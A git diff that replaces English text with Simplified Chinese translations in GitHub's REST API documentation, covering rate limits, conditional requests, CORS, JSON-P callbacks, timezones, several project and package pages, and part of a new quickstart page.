user. For OAuth Apps and GitHub Apps, this is the user who authorized the app. All user-to-server requests count toward the authenticated user's rate limit. +{% data variables.product.product_name %} 将所有用户到服务器的请求与经过身份验证的用户相关联。 对于OAuth 应用程序和 GitHub 应用程序,这是授权应用程序的用户。 所有用户到服务器的请求都会计入经过身份验证的用户的速率限制。 {% data reusables.apps.user-to-server-rate-limits %} @@ -341,33 +311,33 @@ Direct API requests that you authenticate with a {% data variables.product.pat_g {% ifversion fpt or ghec or ghes %} -For unauthenticated requests, the rate limit allows for up to 60 requests per hour. Unauthenticated requests are associated with the originating IP address, and not the person making requests. +对于未经验证的请求,速率限制允许每小时最多 60 个请求。 未经验证的请求与原始 IP 地址相关联,与发出请求的个人无关。 {% endif %} {% endif %} -### Requests from GitHub Apps +### 来自 GitHub 应用程序的请求 -Requests from a GitHub App may be either user-to-server or server-to-server requests. For more information about rate limits for GitHub Apps, see "[Rate limits for GitHub Apps](/developers/apps/building-github-apps/rate-limits-for-github-apps)." +来自 GitHub 应用的请求可以是用户到服务器的请求,也可以是服务器到服务器的请求。 有关 GitHub 应用的速率限制的详细信息,请参阅“[GitHub 应用的速率限制](/developers/apps/building-github-apps/rate-limits-for-github-apps)”。 -### Requests from GitHub Actions +### 来自 GitHub Actions 的请求 -You can use the built-in `GITHUB_TOKEN` to authenticate requests in GitHub Actions workflows. For more information, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." +可以使用内置的 `GITHUB_TOKEN` 来验证 GitHub Actions 工作流中的请求。 有关详细信息,请参阅“[自动令牌身份验证](/actions/security-guides/automatic-token-authentication)”。 -When using `GITHUB_TOKEN`, the rate limit is 1,000 requests per hour per repository.{% ifversion fpt or ghec %} For requests to resources that belong to an enterprise account on {% data variables.location.product_location %}, {% data variables.product.prodname_ghe_cloud %}'s rate limit applies, and the limit is 15,000 requests per hour per repository.{% endif %} +使用 `GITHUB_TOKEN` 时,速率限制为每个存储库每小时 1,000 个请求。{% ifversion fpt or ghec %} 如果请求属于 {% data variables.location.product_location %} 上的企业帐户的资源,{% data variables.product.prodname_ghe_cloud %} 的速率限制适用,并且限制为每个存储库每小时 15,000 个请求。{% endif %} -### Checking your rate limit status +### 检查您的速率限制状态 -The Rate Limit API and a response's HTTP headers are authoritative sources for the current number of API calls available to you or your app at any given time. +速率限制 API 和响应的 HTTP 标头是您或您的应用在任何给定时间可用的当前 API 调用数的权威来源。 -#### Rate Limit API +#### 速率限制 API -You can use the Rate Limit API to check your rate limit status without incurring a hit to the current limit. For more information, see "[Rate limit](/rest/reference/rate-limit)." +您可以使用速率限制 API 检查速率限制状态,而不会对当前限制造成影响。 有关详细信息,请参阅“[速率限制](/rest/reference/rate-limit)”。 -#### Rate limit HTTP headers +#### 速率限制 HTTP 标头 -The returned HTTP headers of any API request show your current rate limit status: +任何 API 请求返回的 HTTP 标头都显示当前速率限制状态: ```shell $ curl -I {% data variables.product.api_url_pre %}/users/octocat @@ -379,21 +349,21 @@ $ curl -I {% data variables.product.api_url_pre %}/users/octocat > x-ratelimit-reset: 1372700873 ``` -Header Name | Description +标头名称 | 说明 -----------|-----------| -`x-ratelimit-limit` | The maximum number of requests you're permitted to make per hour. -`x-ratelimit-remaining` | The number of requests remaining in the current rate limit window. -`x-ratelimit-used` | The number of requests you've made in the current rate limit window. -`x-ratelimit-reset` | The time at which the current rate limit window resets in [UTC epoch seconds](http://en.wikipedia.org/wiki/Unix_time). +`x-ratelimit-limit` | 每小时允许您发出的最大请求数。 +`x-ratelimit-remaining` | 当前速率限制窗口中剩余的请求数。 +`x-ratelimit-used` | 当前速率限制窗口中已发出的请求数。 +`x-ratelimit-reset` | 当前速率限制窗口重置的时间,单位为 [UTC 纪元秒](http://en.wikipedia.org/wiki/Unix_time)。 -If you need the time in a different format, any modern programming language can get the job done. For example, if you open up the console on your web browser, you can easily get the reset time as a JavaScript Date object. +如果您需要不同格式的时间,任何现代编程语言都可以实现您的目标。 例如,如果您在 Web 浏览器上打开控制台,您可以轻松地以 JavaScript Date 对象获取重置时间。 ``` javascript new Date(1372700873 * 1000) // => Mon Jul 01 2013 13:47:53 GMT-0400 (EDT) ``` -If you exceed the rate limit, an error response returns: +如果超过速率限制,错误响应将返回: ```shell > HTTP/2 403 @@ -409,9 +379,9 @@ If you exceed the rate limit, an error response returns: > } ``` -### Increasing the unauthenticated rate limit for OAuth Apps +### 提高 OAuth 应用程序的未经验证速率限制 -If your OAuth App needs to make unauthenticated calls with a higher rate limit, you can pass your app's client ID and secret before the endpoint route. +如果您的 OAuth 应用程序需要以更高的速率限制进行未经验证的调用, 您可以在端点路由之前传递应用程序的客户端 ID 和密钥。 ```shell $ curl -u my_client_id:my_client_secret -I {% data variables.product.api_url_pre %}/user/repos @@ -425,21 +395,21 @@ $ curl -u my_client_id:my_client_secret -I {% data variables.product.api_url_pre {% note %} -**Note:** Never share your client secret with anyone or include it in client-side browser code. Use the method shown here only for server-to-server calls. +注意:切勿与任何人共享客户端密码,也不要将其包含在客户端浏览器代码中。 仅将此处显示的方法用于服务器到服务器的调用。 {% endnote %} -### Staying within the rate limit +### 保持在速率限制之内 -If you exceed your rate limit using Basic Authentication or OAuth, you can likely fix the issue by caching API responses and using [conditional requests](#conditional-requests). +如果使用基本身份验证或 OAuth 时超出了速率限制,则可以通过缓存 API 响应和使用[条件请求](#conditional-requests)来解决此问题。 -### Secondary rate limits +### 二级费率限制 -In order to provide quality service on {% data variables.product.product_name %}, additional rate limits may apply to some actions when using the API. For example, using the API to rapidly create content, poll aggressively instead of using webhooks, make multiple concurrent requests, or repeatedly request data that is computationally expensive may result in secondary rate limiting. +为了在 {% data variables.product.product_name %} 上提供优质的服务,使用 API 时,某些操作可能会受到额外的速率限制。 例如,使用 API 快速创建内容、主动轮询而不是使用 web 挂钩、发出多个并发请求或重复请求计算成本高昂的数据,可能会导致二级费率限制。 -Secondary rate limits are not intended to interfere with legitimate use of the API. Your normal rate limits should be the only limit you target. To ensure you're acting as a good API citizen, check out our [Best Practices guidelines](/guides/best-practices-for-integrators/). +二级费率限制无意干扰 API 的合法使用。 您的正常速率限制应该是您目标的唯一限制。 为了确保成为 API 好公民,请查看[最佳做法指南](/guides/best-practices-for-integrators/)。 -If your application triggers this rate limit, you'll receive an informative response: +如果您的应用程序触发此速率限制,您将收到信息响应: ```shell > HTTP/2 403 @@ -454,19 +424,17 @@ If your application triggers this rate limit, you'll receive an informative resp {% ifversion fpt or ghec %} -## User agent required +## 必需用户代理 -All API requests MUST include a valid `User-Agent` header. Requests with no `User-Agent` -header will be rejected. We request that you use your {% data variables.product.product_name %} username, or the name of your -application, for the `User-Agent` header value. This allows us to contact you if there are problems. +所有 API 请求都必须包含有效的 `User-Agent` 标头。 没有 `User-Agent` 标头的请求将被拒绝。 我们要求你使用 {% data variables.product.product_name %} 用户名或应用程序的名称作为 `User-Agent` 标头值。 这是为了方便我们在发现问题时与您联系 。 -Here's an example: +下面是一个示例: ```shell User-Agent: Awesome-Octocat-App ``` -cURL sends a valid `User-Agent` header by default. If you provide an invalid `User-Agent` header via cURL (or via an alternative client), you will receive a `403 Forbidden` response: +默认情况下,cURL 发送有效的 `User-Agent` 标头。 如果通过 cURL(或通过备用客户端)提供无效的 `User-Agent` 标头,则将收到 `403 Forbidden` 响应: ```shell $ curl -IH 'User-Agent: ' {% data variables.product.api_url_pre %}/meta @@ -481,20 +449,15 @@ $ curl -IH 'User-Agent: ' {% data variables.product.api_url_pre %}/meta {% endif %} -## Conditional requests +## 条件请求 -Most responses return an `ETag` header. Many responses also return a `Last-Modified` header. You can use the values -of these headers to make subsequent requests to those resources using the -`If-None-Match` and `If-Modified-Since` headers, respectively. If the resource -has not changed, the server will return a `304 Not Modified`. +大多数响应都返回 `ETag` 标头。 许多响应还返回 `Last-Modified` 标头。 可以使用这些标头的值分别使用 `If-None-Match` 和 `If-Modified-Since` 标头向这些资源发出后续请求。 如果资源未发生更改,服务器将返回 `304 Not Modified`。 {% ifversion fpt or ghec %} {% tip %} -**Note**: Making a conditional request and receiving a 304 response does not -count against your [Rate Limit](#rate-limiting), so we encourage you to use it -whenever possible. +注意:发出条件请求并收到 304 响应不计入[速率限制](#rate-limiting),因此我们鼓励你尽可能地使用它。 {% endtip %} @@ -531,16 +494,12 @@ $ curl -I {% data variables.product.api_url_pre %}/user -H "If-Modified-Since: T > x-ratelimit-reset: 1372700873 ``` -## Cross origin resource sharing +## 跨源资源共享 -The API supports Cross Origin Resource Sharing (CORS) for AJAX requests from -any origin. -You can read the [CORS W3C Recommendation](http://www.w3.org/TR/cors/), or -[this intro](https://code.google.com/archive/p/html5security/wikis/CrossOriginRequestSecurity.wiki) from the -HTML 5 Security Guide. +API 支持来自任何源的 AJAX 请求的跨源资源共享 (CORS)。 +可以阅读 [CORS W3C 建议](http://www.w3.org/TR/cors/),或 HTML 5 安全指南中的[此简介](https://code.google.com/archive/p/html5security/wikis/CrossOriginRequestSecurity.wiki)。 -Here's a sample request sent from a browser hitting -`http://example.com`: +下面是从浏览器点击 `http://example.com` 发送的请求示例: ```shell $ curl -I {% data variables.product.api_url_pre %} -H "Origin: http://example.com" @@ -549,7 +508,7 @@ Access-Control-Allow-Origin: * Access-Control-Expose-Headers: ETag, Link, X-GitHub-OTP, x-ratelimit-limit, x-ratelimit-remaining, x-ratelimit-reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval ``` -This is what the CORS preflight request looks like: +以下是 CORS 预检请求的示例: ```shell $ curl -I {% data variables.product.api_url_pre %} -H "Origin: http://example.com" -X OPTIONS @@ -561,13 +520,9 @@ Access-Control-Expose-Headers: ETag, Link, X-GitHub-OTP, x-ratelimit-limit, x-ra Access-Control-Max-Age: 86400 ``` -## JSON-P callbacks +## JSON-P 回调 -You can send a `?callback` parameter to any GET call to have the results -wrapped in a JSON function. This is typically used when browsers want -to embed {% data variables.product.product_name %} content in web pages by getting around cross domain -issues. The response includes the same data output as the regular API, -plus the relevant HTTP Header information. +可以向任何 GET 调用发送 `?callback` 参数,以便将结果包装在 JSON 函数中。 当浏览器希望绕开跨域问题将 {% data variables.product.product_name %} 内容嵌入网页时,通常使用此方法。 响应包括与常规 API 相同的数据输出,加上相关的 HTTP 标头信息。 ```shell $ curl {% data variables.product.api_url_pre %}?callback=foo @@ -588,7 +543,7 @@ $ curl {% data variables.product.api_url_pre %}?callback=foo > }) ``` -You can write a JavaScript handler to process the callback. Here's a minimal example you can try out: +您可以编写一个 JavaScript 处理程序来处理回调。 以下是一个最小的处理程序示例,您可以尝试编写: @@ -612,15 +567,13 @@ You can write a JavaScript handler to process the callback. Here's a minimal exa -All of the headers are the same String value as the HTTP Headers with one -notable exception: Link. Link headers are pre-parsed for you and come -through as an array of `[url, options]` tuples. +所有标头都具有与 HTTP 标头相同的字符串值,但有一个值得注意的例外:链接。 链接标头已预先解析,并以 `[url, options]` 元组的数组形式出现。 -A link that looks like this: +链接如下所示: Link: ; rel="next", ; rel="foo"; bar="baz" -... will look like this in the Callback output: +... 在回调输出中将如下所示: ```json { @@ -642,37 +595,37 @@ A link that looks like this: } ``` -## Timezones +## 时区 -Some requests that create new data, such as creating a new commit, allow you to provide time zone information when specifying or generating timestamps. We apply the following rules, in order of priority, to determine timezone information for such API calls. +某些创建新数据的请求(例如创建新的提交)允许您在指定或生成时间戳时提供时区信息。 我们按照优先顺序应用以下规则来确定这些 API 调用的时区信息。 -* [Explicitly providing an ISO 8601 timestamp with timezone information](#explicitly-providing-an-iso-8601-timestamp-with-timezone-information) -* [Using the `Time-Zone` header](#using-the-time-zone-header) -* [Using the last known timezone for the user](#using-the-last-known-timezone-for-the-user) -* [Defaulting to UTC without other timezone information](#defaulting-to-utc-without-other-timezone-information) +* [明确提供带有时区信息的 ISO 8601 时间戳](#explicitly-providing-an-iso-8601-timestamp-with-timezone-information) +* [使用 `Time-Zone` 标头](#using-the-time-zone-header) +* [使用用户的最后一个已知时区](#using-the-last-known-timezone-for-the-user) +* [在没有其他时区信息的情况下默认使用 UTC](#defaulting-to-utc-without-other-timezone-information) -Note that these rules apply only to data passed to the API, not to data returned by the API. As mentioned in "[Schema](#schema)," timestamps returned by the API are in UTC time, ISO 8601 format. +请注意,这些规则仅适用于传递给 API 的数据,而不适用于 API 返回的数据。 如“[架构](#schema)”中所述,API 返回的时间戳采用 UTC 时间、ISO 8601 格式。 -### Explicitly providing an ISO 8601 timestamp with timezone information +### 明确提供带有时区信息的 ISO 8601 时间戳 -For API calls that allow for a timestamp to be specified, we use that exact timestamp. An example of this is the [Commits API](/rest/reference/git#commits). +对于允许指定时间戳的 API 调用,我们使用这种明确的时间戳。 一个示例是[提交 API](/rest/reference/git#commits)。 -These timestamps look something like `2014-02-27T15:05:06+01:00`. Also see [this example](/rest/reference/git#example-input) for how these timestamps can be specified. +这些时间戳类似于 `2014-02-27T15:05:06+01:00`。 如需了解如何指定这些时间戳,另请参阅[此示例](/rest/reference/git#example-input)。 -### Using the `Time-Zone` header +### 使用 `Time-Zone` 标头 -It is possible to supply a `Time-Zone` header which defines a timezone according to the [list of names from the Olson database](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones). +可以提供一个 `Time-Zone` 标头,该标头根据 [Olson 数据库中的名称列表](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones)定义时区。 ```shell $ curl -H "Time-Zone: Europe/Amsterdam" -X POST {% data variables.product.api_url_pre %}/repos/github/linguist/contents/new_file.md ``` -This means that we generate a timestamp for the moment your API call is made in the timezone this header defines. For example, the [Contents API](/rest/reference/repos#contents) generates a git commit for each addition or change and uses the current time as the timestamp. This header will determine the timezone used for generating that current timestamp. +这意味着当您在这个标题定义的时区做出 API 调用时,我们会生成一个时间戳。 例如,[内容 API](/rest/reference/repos#contents) 为每个添加或更改生成 git 提交,并使用当前时间作为时间戳。 此标头将确定用于生成当前时间戳的时区。 -### Using the last known timezone for the user +### 使用用户的最后一个已知时区 -If no `Time-Zone` header is specified and you make an authenticated call to the API, we use the last known timezone for the authenticated user. The last known timezone is updated whenever you browse the {% data variables.product.product_name %} website. +如果未指定 `Time-Zone` 标头,并且你对 API 进行经过身份验证的调用,则我们对经过身份验证的用户使用最后一个已知时区。 最新一个已知的时区在您浏览 {% data variables.product.product_name %} 网站时都会更新。 -### Defaulting to UTC without other timezone information +### 在没有其他时区信息的情况下默认使用 UTC -If the steps above don't result in any information, we use UTC as the timezone to create the git commit. +如果上述步骤未产生任何信息,我们将使用 UTC 作为时区来创建 git 提交。 diff --git a/translations/zh-CN/content/rest/overview/troubleshooting.md b/translations/zh-CN/content/rest/overview/troubleshooting.md index ea7a0484ed..0c5f9c6af6 100644 --- a/translations/zh-CN/content/rest/overview/troubleshooting.md +++ b/translations/zh-CN/content/rest/overview/troubleshooting.md @@ -10,12 +10,12 @@ versions: ghec: '*' topics: - API -ms.openlocfilehash: ecfa3a360ef9b042d96a1f80a2f0cde49390727f -ms.sourcegitcommit: d2f0b59ed096b9e68ef8f6fa019cd925165762ec +ms.openlocfilehash: c696f18d89ffe7d9c9c7c13eda933285502132ae +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 11/29/2022 -ms.locfileid: '148184229' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192831' --- 如果你在 API 中遇到一些奇怪的问题,下面列出了你可能会遇到的一些问题的解决方案。 @@ -46,7 +46,7 @@ $ curl {% data reusables.rest-api.version-header %} https://api.github.com/zen 大多数 API 调用访问资源列表(例如,用户、问题等)支持分页 。 如果你发出请求但收到的结果集不完整,你可能只会看到第一页。 为了获得更多结果,你需要请求剩余的页面。 -请务必不要尝试和猜测分页 URL 的格式。 并非每个 API 调用都使用相同的结构, 而是从[链接标头](/rest#pagination)中提取分页信息,该标头随每个请求一起发送。 +请务必不要尝试和猜测分页 URL 的格式。 并非每个 API 调用都使用相同的结构, 而是从链接标头中提取分页信息,该标头随每个请求一起返回。 有关分页的详细信息,请参阅“[在 REST API 中使用分页](/rest/guides/using-pagination-in-the-rest-api)”。 [oap-guide]: https://developer.github.com/changes/2015-01-19-an-integrators-guide-to-organization-application-policies/ diff --git a/translations/zh-CN/content/rest/packages.md b/translations/zh-CN/content/rest/packages.md index c30d35af66..c8ba00a62a 100644 --- a/translations/zh-CN/content/rest/packages.md +++ b/translations/zh-CN/content/rest/packages.md @@ -1,6 +1,6 @@ --- -title: Packages -intro: 'Use the REST API to interact with {% data variables.product.prodname_registry %}.' +title: 包 +intro: '使用 REST API 与 {% data variables.product.prodname_registry %} 交互。' versions: fpt: '*' ghec: '*' @@ -9,17 +9,22 @@ topics: miniTocMaxHeadingLevel: 3 redirect_from: - /rest/reference/packages +ms.openlocfilehash: a40709d8c51e445fb815c78eadbdb7886b5d60db +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192823' --- +## 关于 {% data variables.product.prodname_registry %} -## About {% data variables.product.prodname_registry %} +可以使用 REST API 管理 {% data variables.product.prodname_dotcom %} 存储库和组织中的包。 有关详细信息,请参阅“[还原和删除包](/packages/learn-github-packages/deleting-and-restoring-a-package)”。 -You can use the REST API to manage packages in your {% data variables.product.prodname_dotcom %} repositories and organizations. For more information, see "[Restoring and deleting packages](/packages/learn-github-packages/deleting-and-restoring-a-package)." +若要使用 REST API 管理 {% data variables.product.prodname_registry %},必须使用 {% data variables.product.pat_v1 %} 进行身份验证。 + - 要访问包元数据,令牌必须包含 `read:packages` 范围。 + - 要删除包和包版本,令牌必须包含 `read:packages` 和 `delete:packages` 范围。 + - 要还原包和包版本,令牌必须包含 `read:packages` 和 `write:packages` 范围。 -To use the REST API to manage {% data variables.product.prodname_registry %}, you must authenticate using a {% data variables.product.pat_v1 %}. - - To access package metadata, your token must include the `read:packages` scope. - - To delete packages and package versions, your token must include the `read:packages` and `delete:packages` scopes. - - To restore packages and package versions, your token must include the `read:packages` and `write:packages` scopes. +如果包位于支持精细权限的注册表中,则令牌不需要 `repo` 范围即可访问或管理此包。 如果包位于仅支持存储库范围权限的注册表中,则令牌还必须包括 `repo` 范围,因为包继承了 {% data variables.product.prodname_dotcom %} 存储库的权限。 有关仅支持存储库范围权限的注册表列表,请参阅“[关于 {% data variables.product.prodname_registry %} 的权限](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages)”。 -If your package is in a registry that supports granular permissions, then your token does not need the `repo` scope to access or manage this package. If your package is in a registry that only supports repository-scoped permissions, then your token must also include the `repo` scope since your package inherits permissions from a {% data variables.product.prodname_dotcom %} repository. For a list of registries that only support repository-scoped permissions, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages)." - -To access resources in an organization with SSO enabled, you must enable SSO for your {% data variables.product.pat_v1 %}. For more information, see "[Authorizing a {% data variables.product.pat_generic %} for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} +若要访问启用了 SSO 的组织中的资源,必须为 {% data variables.product.pat_v1 %} 启用 SSO。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[授权 {% data variables.product.pat_generic %} 以用于 SAML 单一登录](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}”。{% else %}”。{% endif %} diff --git a/translations/zh-CN/content/rest/pages.md b/translations/zh-CN/content/rest/pages.md index fec2530f72..63149c3a1c 100644 --- a/translations/zh-CN/content/rest/pages.md +++ b/translations/zh-CN/content/rest/pages.md @@ -1,6 +1,6 @@ --- -title: Pages -intro: 'Use the REST API to interact with {% data variables.product.prodname_pages %} sites and builds.' +title: 页 +intro: '使用 REST API 与 {% data variables.product.prodname_pages %} 站点和生成进行交互。' versions: fpt: '*' ghes: '*' @@ -11,5 +11,11 @@ topics: miniTocMaxHeadingLevel: 3 redirect_from: - /rest/reference/pages +ms.openlocfilehash: 9ae93ad1bbf96c4219c834a32a3e66c96a732565 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193235' --- diff --git a/translations/zh-CN/content/rest/projects/cards.md b/translations/zh-CN/content/rest/projects/cards.md index a17e4e0af9..39d5989612 100644 --- a/translations/zh-CN/content/rest/projects/cards.md +++ b/translations/zh-CN/content/rest/projects/cards.md @@ -1,8 +1,8 @@ --- -title: '{% data variables.product.prodname_project_v1_caps %} cards' +title: '{% data variables.product.prodname_project_v1_caps %} 卡' shortTitle: Cards allowTitleToDifferFromFilename: true -intro: 'Use the REST API to create and manage cards on a {% data variables.projects.projects_v1_board %}.' +intro: '使用 REST API 创建和管理 {% data variables.projects.projects_v1_board %} 上的卡片。' versions: fpt: '*' ghes: '*' @@ -11,8 +11,13 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 92e3e1c003656ce8a11dc5de4285336bb0331f7c +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193234' --- - {% data reusables.projects.projects-api %} {% data reusables.user-settings.classic-projects-api-classic-pat-only %} diff --git a/translations/zh-CN/content/rest/projects/collaborators.md b/translations/zh-CN/content/rest/projects/collaborators.md index 7161cf157d..75dd76fdb2 100644 --- a/translations/zh-CN/content/rest/projects/collaborators.md +++ b/translations/zh-CN/content/rest/projects/collaborators.md @@ -1,8 +1,8 @@ --- -title: '{% data variables.product.prodname_project_v1_caps %} collaborators' +title: '{% data variables.product.prodname_project_v1_caps %} 协作者' shortTitle: Collaborators allowTitleToDifferFromFilename: true -intro: 'Use the REST API to manage collaborators on a {% data variables.projects.projects_v1_board %}.' +intro: '使用 REST API 管理 {% data variables.projects.projects_v1_board %} 协作者。' versions: fpt: '*' ghes: '*' @@ -11,8 +11,13 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 648e251f1cc45b408acf7eccbe20c75971d29a02 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193233' --- - {% data reusables.projects.projects-api %} {% data reusables.user-settings.classic-projects-api-classic-pat-only %} diff --git a/translations/zh-CN/content/rest/projects/columns.md b/translations/zh-CN/content/rest/projects/columns.md index ad57e1fc56..d9bdffe508 100644 --- a/translations/zh-CN/content/rest/projects/columns.md +++ b/translations/zh-CN/content/rest/projects/columns.md @@ -1,8 +1,8 @@ --- -title: '{% data variables.product.prodname_project_v1_caps %} columns' +title: '{% data variables.product.prodname_project_v1_caps %} 列' shortTitle: Columns allowTitleToDifferFromFilename: true -intro: 'Use the REST API to create and manage columns on a {% data variables.projects.projects_v1_board %}.' +intro: '使用 REST API 创建和管理 {% data variables.projects.projects_v1_board %} 上的列。' versions: fpt: '*' ghes: '*' @@ -11,8 +11,13 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 41ae7c65372079bb9a226839fa1615cbaab9f60b +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193232' --- - {% data reusables.projects.projects-api %} {% data reusables.user-settings.classic-projects-api-classic-pat-only %} diff --git a/translations/zh-CN/content/rest/projects/index.md b/translations/zh-CN/content/rest/projects/index.md index b506d46001..1057b7dcca 100644 --- a/translations/zh-CN/content/rest/projects/index.md +++ b/translations/zh-CN/content/rest/projects/index.md @@ -1,6 +1,6 @@ --- title: '{% data variables.product.prodname_projects_v1_caps %}' -intro: 'Use the REST API to create, list, update, delete and customize {% data variables.projects.projects_v1_boards %}.' +intro: '使用 REST API 创建、列出、更新、删除和自定义 {% data variables.projects.projects_v1_boards %}。' redirect_from: - /v3/projects - /rest/reference/projects @@ -18,5 +18,11 @@ children: - /cards - /collaborators - /columns +ms.openlocfilehash: fa8677c2bb88d39a1ebb2dff546718a3f8524972 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193231' --- diff --git a/translations/zh-CN/content/rest/projects/projects.md b/translations/zh-CN/content/rest/projects/projects.md index 668e117d21..e4be9bede4 100644 --- a/translations/zh-CN/content/rest/projects/projects.md +++ b/translations/zh-CN/content/rest/projects/projects.md @@ -2,7 +2,7 @@ title: '{% data variables.product.prodname_projects_v1_caps %}' shortTitle: Boards allowTitleToDifferFromFilename: true -intro: 'Use the REST API to create and manage {% data variables.projects.projects_v1_boards %} in a repository.' +intro: '使用 REST API 在存储库中创建和管理 {% data variables.projects.projects_v1_boards %}。' versions: fpt: '*' ghes: '*' @@ -11,8 +11,13 @@ versions: topics: - API miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: c614e93e12b759936da21d89e74161156248f3d0 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192815' --- - {% data reusables.projects.projects-api %} {% data reusables.user-settings.classic-projects-api-classic-pat-only %} diff --git a/translations/zh-CN/content/rest/quickstart.md b/translations/zh-CN/content/rest/quickstart.md new file mode 100644 index 0000000000..858fae5dba --- /dev/null +++ b/translations/zh-CN/content/rest/quickstart.md @@ -0,0 +1,356 @@ +--- +title: GitHub REST API 快速入门 +intro: '了解如何开始使用 {% data variables.product.prodname_dotcom %} REST API。' +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Quickstart +topics: + - API +redirect_from: + - /guides/getting-started + - /v3/guides/getting-started +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 001c4e3291e697be034579525d9f0bc6da8c0c88 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192879' +--- +本文介绍如何快速地通过 {% data variables.product.prodname_cli %}、JavaScript 或 cURL 开始使用 {% data variables.product.prodname_dotcom %} REST API。 有关更详细的指南,请参阅“[REST API 入门](/rest/guides/getting-started-with-the-rest-api)”。 + +{% cli %} + +## 开始使用 {% data variables.product.prodname_cli %} + +### 在命令行中使用 {% data variables.product.prodname_cli %} + +{% data variables.product.prodname_cli %} 是从命令行使用 {% data variables.product.prodname_dotcom %} REST API 的最简单方式。 + +1. 如果尚未安装 {% data variables.product.prodname_cli %},请进行安装。 有关安装说明,请参阅 [{% data variables.product.prodname_cli %} 存储库](https://github.com/cli/cli#installation)。 +1. 使用 `auth login` 子命令向 {% data variables.product.prodname_cli %} 进行身份验证。 有关详细信息,请参阅 [{% data variables.product.prodname_cli %} `auth login` 文档](https://cli.github.com/manual/gh_auth_login)。 + + ```shell + gh auth login + ``` + +1. 使用 `api` 子命令发出 API 请求。 有关详细信息,请参阅 [{% data variables.product.prodname_cli %} `api` 文档](https://cli.github.com/manual/gh_api)。 + + ```shell + gh api repos/octocat/Spoon-Knife/issues + ``` + +### 在 {% data variables.product.prodname_actions %} 中使用 {% data variables.product.prodname_cli %} + +还可以在 {% data variables.product.prodname_actions %} 工作流中使用 {% data variables.product.prodname_cli %}。 有关详细信息,请参阅“[在工作流中使用 GitHub CLI](/actions/using-workflows/using-github-cli-in-workflows)”。 + +不要使用 `gh auth login` 命令,而是将访问令牌作为名为 `GH_TOKEN` 的环境变量进行传递。 {% data variables.product.prodname_dotcom %} 建议使用内置 `GITHUB_TOKEN`,而不是创建令牌。 如果无法执行此操作,请将令牌存储为机密,并将以下示例中的 `GITHUB_TOKEN` 替换为机密的名称。 有关 `GITHUB_TOKEN` 的详细信息,请参阅“[自动令牌身份验证](/actions/security-guides/automatic-token-authentication)”。 有关机密的详细信息,请参阅“[已加密的机密](/actions/security-guides/encrypted-secrets)”。 + +```yaml +on: + workflow_dispatch: +jobs: + use_api: + runs-on: ubuntu-latest + permissions: + issues: read + steps: + - env: + GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + run: | + gh api repos/octocat/Spoon-Knife/issues +``` + +如果使用 {% data variables.product.prodname_github_app %} 进行身份验证,则可以在工作流中创建安装访问令牌: + +1. 将 {% data variables.product.prodname_github_app %} 的 ID 作为机密进行存储。 在以下示例中,将 `APP_ID` 替换为机密的名称。 可以在应用的设置页面上或通过 API 找到应用 ID。 有关详细信息,请参阅 REST API 文档中的“[应用](/rest/apps/apps#get-an-app)”。 有关机密的详细信息,请参阅“[已加密的机密](/actions/security-guides/encrypted-secrets)”。 +1. 为应用生成私钥。 将所生成文件的内容作为机密进行存储。 (存储文件的全部内容,包括 `-----BEGIN RSA PRIVATE KEY-----` 和 `-----END RSA PRIVATE KEY-----`。)在以下示例中,将 `APP_PEM` 替换为机密的名称。 有关详细信息,请参阅“[使用 {% data variables.product.prodname_github_apps %} 进行身份验证](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key)”。 +1. 添加用于生成令牌的步骤,并使用该令牌而不是 `GITHUB_TOKEN`。 请注意,此令牌会在 60 分钟后过期。 例如: + +```yaml +{% data reusables.actions.actions-not-certified-by-github-comment %} + +on: + 